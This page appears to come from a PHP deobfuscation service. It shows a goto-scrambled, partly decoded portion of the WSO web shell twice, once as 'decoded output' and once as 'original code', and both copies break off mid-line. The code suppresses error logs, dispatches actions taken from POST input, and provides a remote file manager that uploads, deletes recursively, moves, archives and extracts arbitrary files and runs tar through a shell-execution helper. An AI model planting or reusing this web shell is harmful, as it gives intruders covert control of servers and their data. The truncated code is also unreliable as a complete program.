Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Cjo7J; LqaMO: $safe_mode = @ini_get("safe_mode"); goto zGahs; zGahs: if (..

Decoded Output download

<?php 
goto Cjo7J; 
LqaMO: 
$safe_mode = @ini_get("safe_mode"); 
goto zGahs; 
zGahs: 
if (!$safe_mode) { 
    error_reporting(0); 
} 
goto Gop14; 
j2Rfu: 
if (!empty($_POST["a"]) && function_exists("action" . $_POST["a"])) { 
    call_user_func("action" . $_POST["a"]); 
} 
goto Zxful; 
GFRHq: 
@ini_set("error_log", NULL); 
goto g7ZCc; 
N84uU: 
function actionFilesMan() 
{ 
    goto J7jRR; 
    la8rp: 
    if (class_exists("ZipArchive")) { 
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; 
    } 
    goto GTtN3; 
    uO4Od: 
    if (!empty($_POST["p1"])) { 
        switch ($_POST["p1"]) { 
            case "uploadFile": 
                if (!@move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) { 
                    echo "Can't upload file!"; 
                } 
                break; 
            case "mkdir": 
                if (!@mkdir($_POST["p2"])) { 
                    echo "Can't create new dir"; 
                } 
                break; 
            case "delete": 
                goto zgV_d; 
                mm32x: 
                break; 
                goto hEfbk; 
                zgV_d: 
                function deleteDir($path) 
                { 
                    goto RrCM3; 
                    zxeby: 
                    $dh = opendir($path); 
                    goto TCJ3G; 
                    TCJ3G: 
                    while (($item = readdir($dh)) !== false) { 
                        $item = $path . $item; 
                        if (basename($item) == ".." || basename($item) == ".") { 
                            continue; 
                        } 
                        $type = filetype($item); 
                        if ($type == "dir") { 
                            deleteDir($item); 
                        } else { 
                            @unlink($item); 
                        } 
                    } 
                    goto qhDI4; 
                    SLRoZ: 
                    @rmdir($path); 
                    goto ld2N6; 
                    RrCM3: 
                    $path = substr($path, -1) == "/" ? $path : $path . "/"; 
                    goto zxeby; 
                    qhDI4: 
                    closedir($dh); 
                    goto SLRoZ; 
                    ld2N6: 
                } 
 
                goto Jstso; 
                Jstso: 
                if (is_array(@$_POST["f"])) { 
                    foreach ($_POST["f"] as $f) { 
                        goto Fce39; 
                        jTf8C: 
                        if (is_dir($f)) { 
                            deleteDir($f); 
                        } else { 
                            @unlink($f); 
                        } 
                        goto sVDIO; 
                        Fce39: 
                        if ($f == "..") { 
                            continue; 
                        } 
                        goto NavX2; 
                        NavX2: 
                        $f = urldecode($f); 
                        goto jTf8C; 
                        sVDIO: 
                    } 
                } 
                goto mm32x; 
                hEfbk: 
            case "paste": 
                goto aIzMf; 
                aIzMf: 
                if ($_COOKIE["act"] == "copy") { 
                    function copy_paste($c, $s, $d) 
                    { 
                        if (is_dir($c . $s)) { 
                            goto DXZu5; 
                            OpM7_: 
                            $h = @opendir($c . $s); 
                            goto XF_lF; 
                            XF_lF: 
                            while (($f = @readdir($h)) !== false) { 
                                if ($f != "." and $f != "..") { 
                                    copy_paste($c . $s . "/", $f, $d . $s . "/"); 
                                } 
                            } 
                            goto v_Vn9; 
                            DXZu5: 
                            mkdir($d . $s); 
                            goto OpM7_; 
                            v_Vn9: 
                        } elseif (is_file($c . $s)) { 
                            @copy($c . $s, $d . $s); 
                        } 
                    } 
 
                    foreach ($_COOKIE["f"] as $f) { 
                        copy_paste($_COOKIE["c"], $f, $GLOBALS["cwd"]); 
                    } 
                } elseif ($_COOKIE["act"] == "move") { 
                    function move_paste($c, $s, $d) 
                    { 
                        if (is_dir($c . $s)) { 
                            goto qKJrU; 
                            TXDEI: 
                            while (($f = @readdir($h)) !== false) { 
                                if ($f != "." and $f != "..") { 
                                    copy_paste($c . $s . "/", $f, $d . $s . "/"); 
                                } 
                            } 
                            goto xPGvS; 
                            AwOVO: 
                            $h = @opendir($c . $s); 
                            goto TXDEI; 
                            qKJrU: 
                            mkdir($d . $s); 
                            goto AwOVO; 
                            xPGvS: 
                        } elseif (@is_file($c . $s)) { 
                            @copy($c . $s, $d . $s); 
                        } 
                    } 
 
                    foreach ($_COOKIE["f"] as $f) { 
                        @rename($_COOKIE["c"] . $f, $GLOBALS["cwd"] . $f); 
                    } 
                } elseif ($_COOKIE["act"] == "zip") { 
                    if (class_exists("ZipArchive")) { 
                        $zip = new ZipArchive(); 
                        if ($zip->open($_POST["p2"], 1)) { 
                            goto Jun5P; 
                            Jun5P: 
                            chdir($_COOKIE["c"]); 
                            goto T_RpN; 
                            MVV2r: 
                            $zip->close(); 
                            goto CqwAG; 
                            T_RpN: 
                            foreach ($_COOKIE["f"] as $f) { 
                                if ($f == "..") { 
                                    continue; 
                                } 
                                if (@is_file($_COOKIE["c"] . $f)) { 
                                    $zip->addFile($_COOKIE["c"] . $f, $f); 
                                } elseif (@is_dir($_COOKIE["c"] . $f)) { 
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "/")); 
                                    foreach ($iterator as $key => $value) { 
                                        $zip->addFile(realpath($key), $key); 
                                    } 
                                } 
                            } 
                            goto JhWjt; 
                            JhWjt: 
                            chdir($GLOBALS["cwd"]); 
                            goto MVV2r; 
                            CqwAG: 
                        } 
                    } 
                } elseif ($_COOKIE["act"] == "unzip") { 
                    if (class_exists("ZipArchive")) { 
                        $zip = new ZipArchive(); 
                        foreach ($_COOKIE["f"] as $f) { 
                            if ($zip->open($_COOKIE["c"] . $f)) { 
                                $zip->extractTo($GLOBALS["cwd"]); 
                                $zip->close(); 
                            } 
                        } 
                    } 
                } elseif ($_COOKIE["act"] == "tar") { 
                    goto nrwbR; 
                    QmWa1: 
                    chdir($GLOBALS["cwd"]); 
                    goto bK26y; 
                    zHKjB: 
                    wsoEx("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"])); 
                    goto QmWa1; 
                    BU3zr: 
                    $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]); 
                    goto zHKjB; 
                    nrwbR: 
                    chdir($_COOKIE["c"]); 
                    goto BU3zr; 
                    bK26y: 
                } 
                goto tJ8ED; 
                HwZnR: 
                setcookie("f", '', time() - 3600); 
                goto TZk2t; 
                TZk2t: 
                break; 
                goto yoTwQ; 
                tJ8ED: 
                unset($_COOKIE["f"]); 
                goto HwZnR; 
                yoTwQ: 
            default: 
                if (!empty($_POST["p1"])) { 
                    goto TYMaj; 
                    XHEG8: 
                    WSOsetcookie("c", @$_POST["c"]); 
                    goto Unr9o; 
                    TYMaj: 
                    WSOsetcookie("act", $_POST["p1"]); 
                    goto XUMLY; 
                    XUMLY: 
                    WSOsetcookie("f", serialize(@$_POST["f"])); 
                    goto XHEG8; 
                    Unr9o: 
                } 
                break; 
        } 
    } 
    goto bpziK; 
    JbUVa: 
    usort($files, "wsoCmp"); 
    goto pBUl1; 
    RjKbq: 
    function wsoCmp($a, $b) 
    { 
        if ($GLOBALS["sort"][0] != "size") { 
            return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]])) * ($GLOBALS["sort"][1] ? 1 : -1); 
        } else { 
            return ($a["size"] < $b["size"] ? -1 : 1) * ($GLOBALS["sort"][1] ? 1 : -1); 
        } 
    } 
 
    goto JbUVa; 
    flVXx: 
    $GLOBALS["sort"] = $sort; 
    goto RjKbq; 
    b42P7: 
    echo "</select>&nbsp;"; 
    goto zga6H; 
    QsnjB: 
    $dirContent = wsoScandir(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]); 
    goto DufhY; 
    EoM5y: 
    if (!empty($_POST["p1"])) { 
        if (preg_match("!s_([A-z]+)_(\d{1})!", $_POST["p1"], $match)) { 
            $sort = array($match[1], (int)$match[2]); 
        } 
    } 
    goto uaEIV; 
    ecDrl: 
    echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>"; goto QsnjB; J7jRR: if (!empty($_COOKIE["f"])) { 
    $_COOKIE["f"] = @unserialize($_COOKIE["f"]); 
} goto uO4Od; zqQv8: foreach ($files as $f) { 
    echo "<tr" . ($l ? " class=l1" : '') . "><td><input type=checkbox name="f[]" value="" . urlencode($f["name"]) . "" class=chkbx></td><td><a href=# onclick="" . ($f["type"] == "file" ? "g('FilesTools', null, '" . urlencode($f["name"]) . "', 'view')">" . htmlspecialchars($f["name"]) : "g('FilesMan','" . $f["path"] . "');" " . (empty($f["link"]) ? '' : "title = '{$f["link"]}'") . " ><b > [" . htmlspecialchars($f["name"]) . " ]</b > ") . "</a ></td ><td > " . ($f["type"] == "file" ? wsoViewSize($f["size"]) : $f["type"]) . "</td ><td > " . $f["modify"] . "</td ><td > " . $f["owner"] . "/" . $f["group"] . "</td ><td ><a href =# onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "','chmod')">" . $f["perms"] . "</td><td><a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'touch')">T</a>" . ($f["type"] == "file" ? " <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'download')">D</a>" : '') . "</td></tr>"; $l = $l ? 0 : 1; } goto b9q_L; ICFmG: $l = 0; goto zqQv8; TSLht: $n = count($dirContent); goto p625P; lC5LC: $dirs = $files = array(); goto TSLht; uaEIV: echo "<script>\xd  
 ?>

Did this file decode correctly?

Original Code

<?php
goto Cjo7J;
LqaMO:
$safe_mode = @ini_get("safe_mode");
goto zGahs;
zGahs:
if (!$safe_mode) {
    error_reporting(0);
}
goto Gop14;
j2Rfu:
if (!empty($_POST["a"]) && function_exists("action" . $_POST["a"])) {
    call_user_func("action" . $_POST["a"]);
}
goto Zxful;
GFRHq:
@ini_set("error_log", NULL);
goto g7ZCc;
N84uU:
function actionFilesMan()
{
    goto J7jRR;
    la8rp:
    if (class_exists("ZipArchive")) {
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    }
    goto GTtN3;
    uO4Od:
    if (!empty($_POST["p1"])) {
        switch ($_POST["p1"]) {
            case "uploadFile":
                if (!@move_uploaded_file($_FILES["f"]["tmp_name"], $_FILES["f"]["name"])) {
                    echo "Can't upload file!";
                }
                break;
            case "mkdir":
                if (!@mkdir($_POST["p2"])) {
                    echo "Can't create new dir";
                }
                break;
            case "delete":
                goto zgV_d;
                mm32x:
                break;
                goto hEfbk;
                zgV_d:
                function deleteDir($path)
                {
                    goto RrCM3;
                    zxeby:
                    $dh = opendir($path);
                    goto TCJ3G;
                    TCJ3G:
                    while (($item = readdir($dh)) !== false) {
                        $item = $path . $item;
                        if (basename($item) == ".." || basename($item) == ".") {
                            continue;
                        }
                        $type = filetype($item);
                        if ($type == "dir") {
                            deleteDir($item);
                        } else {
                            @unlink($item);
                        }
                    }
                    goto qhDI4;
                    SLRoZ:
                    @rmdir($path);
                    goto ld2N6;
                    RrCM3:
                    $path = substr($path, -1) == "/" ? $path : $path . "/";
                    goto zxeby;
                    qhDI4:
                    closedir($dh);
                    goto SLRoZ;
                    ld2N6:
                }

                goto Jstso;
                Jstso:
                if (is_array(@$_POST["f"])) {
                    foreach ($_POST["f"] as $f) {
                        goto Fce39;
                        jTf8C:
                        if (is_dir($f)) {
                            deleteDir($f);
                        } else {
                            @unlink($f);
                        }
                        goto sVDIO;
                        Fce39:
                        if ($f == "..") {
                            continue;
                        }
                        goto NavX2;
                        NavX2:
                        $f = urldecode($f);
                        goto jTf8C;
                        sVDIO:
                    }
                }
                goto mm32x;
                hEfbk:
            case "paste":
                goto aIzMf;
                aIzMf:
                if ($_COOKIE["act"] == "copy") {
                    function copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            goto DXZu5;
                            OpM7_:
                            $h = @opendir($c . $s);
                            goto XF_lF;
                            XF_lF:
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . "/", $f, $d . $s . "/");
                                }
                            }
                            goto v_Vn9;
                            DXZu5:
                            mkdir($d . $s);
                            goto OpM7_;
                            v_Vn9:
                        } elseif (is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }

                    foreach ($_COOKIE["f"] as $f) {
                        copy_paste($_COOKIE["c"], $f, $GLOBALS["cwd"]);
                    }
                } elseif ($_COOKIE["act"] == "move") {
                    function move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            goto qKJrU;
                            TXDEI:
                            while (($f = @readdir($h)) !== false) {
                                if ($f != "." and $f != "..") {
                                    copy_paste($c . $s . "/", $f, $d . $s . "/");
                                }
                            }
                            goto xPGvS;
                            AwOVO:
                            $h = @opendir($c . $s);
                            goto TXDEI;
                            qKJrU:
                            mkdir($d . $s);
                            goto AwOVO;
                            xPGvS:
                        } elseif (@is_file($c . $s)) {
                            @copy($c . $s, $d . $s);
                        }
                    }

                    foreach ($_COOKIE["f"] as $f) {
                        @rename($_COOKIE["c"] . $f, $GLOBALS["cwd"] . $f);
                    }
                } elseif ($_COOKIE["act"] == "zip") {
                    if (class_exists("ZipArchive")) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST["p2"], 1)) {
                            goto Jun5P;
                            Jun5P:
                            chdir($_COOKIE["c"]);
                            goto T_RpN;
                            MVV2r:
                            $zip->close();
                            goto CqwAG;
                            T_RpN:
                            foreach ($_COOKIE["f"] as $f) {
                                if ($f == "..") {
                                    continue;
                                }
                                if (@is_file($_COOKIE["c"] . $f)) {
                                    $zip->addFile($_COOKIE["c"] . $f, $f);
                                } elseif (@is_dir($_COOKIE["c"] . $f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "/"));
                                    foreach ($iterator as $key => $value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            goto JhWjt;
                            JhWjt:
                            chdir($GLOBALS["cwd"]);
                            goto MVV2r;
                            CqwAG:
                        }
                    }
                } elseif ($_COOKIE["act"] == "unzip") {
                    if (class_exists("ZipArchive")) {
                        $zip = new ZipArchive();
                        foreach ($_COOKIE["f"] as $f) {
                            if ($zip->open($_COOKIE["c"] . $f)) {
                                $zip->extractTo($GLOBALS["cwd"]);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_COOKIE["act"] == "tar") {
                    goto nrwbR;
                    QmWa1:
                    chdir($GLOBALS["cwd"]);
                    goto bK26y;
                    zHKjB:
                    wsoEx("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"]));
                    goto QmWa1;
                    BU3zr:
                    $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]);
                    goto zHKjB;
                    nrwbR:
                    chdir($_COOKIE["c"]);
                    goto BU3zr;
                    bK26y:
                }
                goto tJ8ED;
                HwZnR:
                setcookie("f", '', time() - 3600);
                goto TZk2t;
                TZk2t:
                break;
                goto yoTwQ;
                tJ8ED:
                unset($_COOKIE["f"]);
                goto HwZnR;
                yoTwQ:
            default:
                if (!empty($_POST["p1"])) {
                    goto TYMaj;
                    XHEG8:
                    WSOsetcookie("c", @$_POST["c"]);
                    goto Unr9o;
                    TYMaj:
                    WSOsetcookie("act", $_POST["p1"]);
                    goto XUMLY;
                    XUMLY:
                    WSOsetcookie("f", serialize(@$_POST["f"]));
                    goto XHEG8;
                    Unr9o:
                }
                break;
        }
    }
    goto bpziK;
    JbUVa:
    usort($files, "wsoCmp");
    goto pBUl1;
    RjKbq:
    function wsoCmp($a, $b)
    {
        if ($GLOBALS["sort"][0] != "size") {
            return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]])) * ($GLOBALS["sort"][1] ? 1 : -1);
        } else {
            return ($a["size"] < $b["size"] ? -1 : 1) * ($GLOBALS["sort"][1] ? 1 : -1);
        }
    }

    goto JbUVa;
    flVXx:
    $GLOBALS["sort"] = $sort;
    goto RjKbq;
    b42P7:
    echo "</select>&nbsp;";
    goto zga6H;
    QsnjB:
    $dirContent = wsoScandir(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]);
    goto DufhY;
    EoM5y:
    if (!empty($_POST["p1"])) {
        if (preg_match("!s_([A-z]+)_(\d{1})!", $_POST["p1"], $match)) {
            $sort = array($match[1], (int)$match[2]);
        }
    }
    goto uaEIV;
    ecDrl:
    echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>"; goto QsnjB; J7jRR: if (!empty($_COOKIE["f"])) {
    $_COOKIE["f"] = @unserialize($_COOKIE["f"]);
} goto uO4Od; zqQv8: foreach ($files as $f) {
    echo "<tr" . ($l ? " class=l1" : '') . "><td><input type=checkbox name="f[]" value="" . urlencode($f["name"]) . "" class=chkbx></td><td><a href=# onclick="" . ($f["type"] == "file" ? "g('FilesTools', null, '" . urlencode($f["name"]) . "', 'view')">" . htmlspecialchars($f["name"]) : "g('FilesMan','" . $f["path"] . "');" " . (empty($f["link"]) ? '' : "title = '{$f["link"]}'") . " ><b > [" . htmlspecialchars($f["name"]) . " ]</b > ") . "</a ></td ><td > " . ($f["type"] == "file" ? wsoViewSize($f["size"]) : $f["type"]) . "</td ><td > " . $f["modify"] . "</td ><td > " . $f["owner"] . "/" . $f["group"] . "</td ><td ><a href =# onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "','chmod')">" . $f["perms"] . "</td><td><a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'touch')">T</a>" . ($f["type"] == "file" ? " <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'download')">D</a>" : '') . "</td></tr>"; $l = $l ? 0 : 1; } goto b9q_L; ICFmG: $l = 0; goto zqQv8; TSLht: $n = count($dirContent); goto p625P; lC5LC: $dirs = $files = array(); goto TSLht; uaEIV: echo "<script>\xd 

Function Calls

None

Variables

None

Stats

MD5 22da5eaff221434d7a68ee02def91e13
Eval Count 0
Decode Time 91 ms